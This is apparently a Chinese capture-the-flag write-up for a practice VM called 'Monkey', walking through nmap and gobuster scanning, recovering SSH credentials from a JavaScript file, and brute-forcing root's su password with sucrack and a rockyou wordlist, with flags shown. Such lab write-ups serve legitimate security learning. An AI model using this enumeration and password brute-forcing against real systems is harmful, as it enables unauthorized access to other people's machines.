【打靶日记】群内靶机Monkey

主机发现

bash 复制代码
┌──(root㉿xhh)-[~/Desktop/xhh/QQ/monkey]
└─# arp-scan -I eth1 -l

192.168.56.123  08:00:27:38:55:db       PCS Systemtechnik GmbH

主机地址为192.168.56.123

端口扫描

bash 复制代码
┌──(root㉿xhh)-[~/Desktop/xhh/QQ/monkey]
└─# nmap -p- 192.168.56.123                

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

扫描出了22和80端口

Web渗透

油猴插件的介绍

目录枚举
bash 复制代码
┌──(root㉿xhh)-[~/Desktop/xhh/QQ/monkey]
└─# gobuster dir -u http://192.168.56.123 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -x js
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.123
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              js
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/server-status        (Status: 403) [Size: 279]
/monkey.js            (Status: 200) [Size: 7293]
Progress: 53166 / 53166 (100.00%)
===============================================================
Finished
===============================================================

因为油猴是管理js的插件,扫一下js文件,扫出来有个monkey.js

获取用户名密码

脚本执行的操作:当访问 plugin2.dsz 或其子域名 时,通过多种加密 / 字符变换方式 生成一组「ID + Key」信息,并随机选择弹窗、页面悬浮窗、控制台输出三种方式展示该信息。

获取ID+Key方式一(执行)

控制台执行monkey.js

拿到**ID:segfault,Key:segfaultNo1**

获取ID+Key方式二(ai)

通过ai逆向或者自己js逆向

拿到4组ID/Key

登录segfault

bash 复制代码
┌──(root㉿xhh)-[~/Desktop/xhh/QQ/monkey]
└─# ssh segfault@192.168.56.123
The authenticity of host '192.168.56.123 (192.168.56.123)' can't be established.
ED25519 key fingerprint is SHA256:O2iH79i8PgOwV/Kp8ekTYyGMG8iHT+YlWuYC85SbWSQ.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:7: [hashed name]
    ~/.ssh/known_hosts:8: [hashed name]
    ~/.ssh/known_hosts:11: [hashed name]
    ~/.ssh/known_hosts:18: [hashed name]
    ~/.ssh/known_hosts:26: [hashed name]
    ~/.ssh/known_hosts:30: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.123' (ED25519) to the list of known hosts.
segfault@192.168.56.123's password: 
Linux Monkey 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
segfault@Monkey:~$ id
uid=1000(segfault) gid=1000(segfault) groups=1000(segfault)
user.txt
bash 复制代码
segfault@Monkey:~$ cat user.txt 
flag{user-055967acf4caa06c3867b03a337fe29c}

提权

bash 复制代码
segfault@Monkey:~$ sudo -l
Matching Defaults entries for segfault on Monkey:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User segfault may run the following commands on Monkey:
    (ALL) NOPASSWD: /opt/monkey/bin/monkey

测试和初略的看了一下反编译代码,貌似是一个读文件的程序,读到{}会报错,说预期是冒号

找文件打法,启动
bash 复制代码
segfault@Monkey:~$ find / -type f -newermt "2025-11-27" ! -newermt "2025-11-29" ! -path '/proc/*' ! -path '/sys/*' ! -path '/run/*' 2>/dev/null
/usr/bin/sucrack
/usr/local/bin/.hint
(...省略py和monkey调用的库...)

由于user.txt是11-28,所以设置为27-29之间

/usr/local/bin/.hint

bash 复制代码
segfault@Monkey:~$ cat /usr/local/bin/.hint
let s = "sucrack"
s

好像是猴子语言

bash 复制代码
segfault@Monkey:~$ /opt/monkey/bin/monkey /usr/local/bin/.hint
sucrack

/usr/bin/sucrack

sucrack 是一款针对 su 命令 的密码破解工具,通过暴力破解 / 字典攻击尝试获取系统中用户的密码,从而通过 su 切换到目标用户。

bash 复制代码
segfault@Monkey:~$ /usr/bin/sucrack -h
(......)
   /usr/bin/sucrack -a -w 20 -s 10 -u root -rl AFLafld dict.txt

那就拿个字典爆破

bash 复制代码
segfault@Monkey:~$ /usr/bin/sucrack -a -w 20 -s 10 -u root -rl AFLafld rockyou.txt 
-a option not available. Use the --enable-statistics configure flag
-s option not available. Use the --enable-statistics configure flag
password is: 123455

爆破到密码为123455

bash 复制代码
segfault@Monkey:~$ su - root 
Password: 
root@Monkey:~# id
uid=0(root) gid=0(root) groups=0(root)
root.txt
bash 复制代码
root@Monkey:~# cat root.txt 
flag{root-b2f6e98d8658a3697639943f007dd181}
相关推荐
lisanmengmeng15 分钟前
alertmanger 标签 rules 打上分组标签
linux·运维·服务器
Android系统攻城狮1 小时前
Linux FFmpeg深度解析之av_write_frame调用流程与实战(三十三)
linux·运维·服务器·ffmpeg·音视频进阶·ffmpeg音视频
Linux-lucky13 小时前
45-Linux学习之旅之防火墙与WEB加固
linux·前端·网络·学习·ubuntu
禁默13 小时前
启元 Q1 二次开发实践:Ubuntu 部署与仿真验证,从 PrimeConsole 到 ROS 2 Humble + RViz
linux·运维·ubuntu
skywalk816313 小时前
把 去也网站 从 Ubuntu 搬到 FreeBSD:一次 Service Jail + nginx 的部署实录
linux·运维·nginx·ubuntu·freebsd
爱莉希雅&&&15 小时前
GitLab 完整学习笔记
linux·运维·服务器
风笙97816 小时前
[文件系统]文件系统挂载与卸载详解
linux
GeW16 小时前
新质生产力路线图解读:数据库性能优化与Linux调优专场
linux·数据库
陈希12317 小时前
Linux 服务器性能排查手册(2026):CPU、内存、磁盘IO、网络四大瓶颈定位
linux·服务器·网络
测试界的小码农21 小时前
【Linux 命令实战(03):文件创建、复制、移动与删除,掌握 touch、mkdir、cp、mv、rm】
linux·服务器·php